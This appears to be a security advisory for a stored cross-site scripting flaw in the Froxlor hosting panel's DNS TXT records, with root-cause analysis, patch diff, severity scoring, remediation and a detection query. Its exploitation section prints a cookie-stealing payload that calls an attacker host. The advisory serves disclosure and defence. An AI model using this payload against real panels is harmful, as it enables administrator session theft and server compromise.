CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration

Froxlor is an open-source hosting management panel that allows administrators to delegate server administration resources to customers. The core platform handles domain provisioning, mail server routing, and Domain Name System (DNS) zone management. Because customers are permitted to configure their own DNS zones, the interfaces associated with DNS record creation form an entry point to the application's data-persistence layers.

This vulnerability, tracked as CVE-2026-54347 (GHSA-43gm-9rr3-cx7g), resides in the presentation layer of the DNS management module. Specifically, the vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). It represents a stored cross-site scripting flaw that bridges security boundaries between non-privileged customer sessions and high-privilege administrative sessions.

The attack surface is exposed via the customer-facing DNS record management interface. While customers are restricted to managing records associated with their assigned domains, administrators regularly audit, troubleshoot, or modify these same zones from the administrative panel. Consequently, malicious payloads injected into customer-controlled records can target administrative sessions.

The root cause of CVE-2026-54347 is a failure of context-aware output encoding when rendering dynamically formatted database records within Twig templates. The flow of data from input to execution follows a multi-stage pipeline across the MVC layout of the Froxlor DNS management module.

First, input ingestion occurs via lib/Froxlor/Api/Commands/DomainZones.php. When a customer saves a DNS TXT record, the controller relies on a restrictive regular expression for sanitization:

$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);

This filter removes non-printable ASCII and binary control characters but explicitly preserves standard printable ASCII characters. Characters such as < and > are stored in the database without modifications or encoding.

Second, the formatting layer modifies the string prior to UI generation. The application uses UI callbacks to adjust long strings inside data tables. For TXT records, the application calls the Text::wordwrap callback, located in lib/Froxlor/UI/Callbacks/Text.php, which inserts HTML line breaks (<br>) every 100 characters to prevent layout distortion.

Third, the rendering pipeline processes the string. Because the Text::wordwrap callback injects physical <br> elements that must be interpreted as HTML markup by the browser, the template file responsible for rendering table cells (templates/Froxlor/table/table.html.twig) disables auto-escaping using the |raw filter. The raw output is delivered directly to the browser, leading to script execution.

The vulnerability was resolved in version 2.3.8 by introducing context-aware sanitization inside the callback before string processing occurs. The following diff highlights the code modification applied in lib/Froxlor/UI/Callbacks/Text.php:

@@ -92,7 +92,7 @@ public static function shorten(array $attributes): string
 
 	public static function wordwrap(array $attributes): string
 	{
-		return wordwrap($attributes['data'], 100, '<br>', true);
+		return wordwrap(htmlspecialchars($attributes['data']), 100, '<br>', true);
 	}
 
 	public static function customerNoteDetailModal(array $attributes): array

Applying htmlspecialchars directly to $attributes['data'] prior to the wordwrap execution transforms characters like < and > into their equivalent HTML entities (< and >). This process occurs prior to the insertion of the raw <br> strings.

When the Twig template processes the modified output using the |raw filter, the browser interprets the <br> tags as actual carriage returns but displays the underlying script tags as literal text instead of executing them.

Although this patch secures the specific Text::wordwrap callback, the underlying Twig template (table.html.twig) continues to use the |raw filter for cell rendering. This architecture introduces a reliance on individual callback developers to enforce escaping. Any future callback added to the platform that handles user-supplied data without manually applying htmlspecialchars or equivalent sanitization filters will reintroduce similar stored XSS vulnerabilities.

Exploitation of CVE-2026-54347 requires an attacker to possess valid credentials for a customer account configured with permission to manage domain zone files. No administrative or high-privilege access is required to initiate the attack.

The attacker injects a stored script payload into a new DNS TXT record. A standard payload structure utilizes a source-based or image-based callback to deliver the script:

<img src=x onerror="fetch('https://attacker.com/log?c=' + encodeURIComponent(document.cookie))">

When the administrative user navigates to the DNS overview page for the customer's domain, the server fetches the record from the panel_dns table, routes it through the vulnerable wordwrap callback, and renders it in the administrative interface. The browser executes the payload instantly, transmitting the administrator's active session identifiers or anti-CSRF tokens to the listener controlled by the attacker.

The CVSS 3.1 base score for this vulnerability is 8.7, indicating high severity. The attack vector is Network-based (AV:N), and the complexity is Low (AC:L), meaning standard network conditions and minimal preparation are necessary for successful execution. The privilege requirement is Low (PR:L), as the attacker must only have standard customer access to modify their zone files.

The scope is Changed (S:C) because the injected script operates within the browser of the administrator, manipulating resources and privileges associated with a superior security context. This allows complete takeover of the administrator's active session. This mechanism permits the exfiltration of sensitive server configurations, customer records, and system-level access credentials.

By leveraging the administrator's session, an attacker can invoke administrative endpoints to execute high-privilege operations. These operations include creating new administrative accounts, modifying server-wide services, executing arbitrary commands via system integrations, or completely compromising the underlying hosting infrastructure.

The primary remediation strategy is upgrading the Froxlor installation to version 2.3.8 or later, which implements the necessary sanitization patches. Organizations should immediately apply updates to their hosting control panels to eliminate exposure.

If immediate software upgrade is not feasible, administrators can apply a hotfix manually. Locate lib/Froxlor/UI/Callbacks/Text.php and update the wordwrap function signature to implement the htmlspecialchars wrapper:

public static function wordwrap(array $attributes): string
{
    return wordwrap(htmlspecialchars($attributes['data'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'), 100, '<br>', true);
}

To identify existing indicators of compromise or stored payloads within the system, run a database query against the zone tables to isolate suspicious string constructs:

SELECT id, domainid, record, type, content 
FROM panel_dns 
WHERE type = 'TXT' 
  AND (content LIKE '%<script%' OR content LIKE '%<img%' OR content LIKE '%onerror%' OR content LIKE '%javascript:%');

Additionally, implementing a strict Content Security Policy (CSP) is recommended. Restricting script evaluation by removing the 'unsafe-inline' and 'unsafe-eval' directives from the HTTP headers of the Froxlor admin interface prevents execution of injected script tags, providing robust defense-in-depth.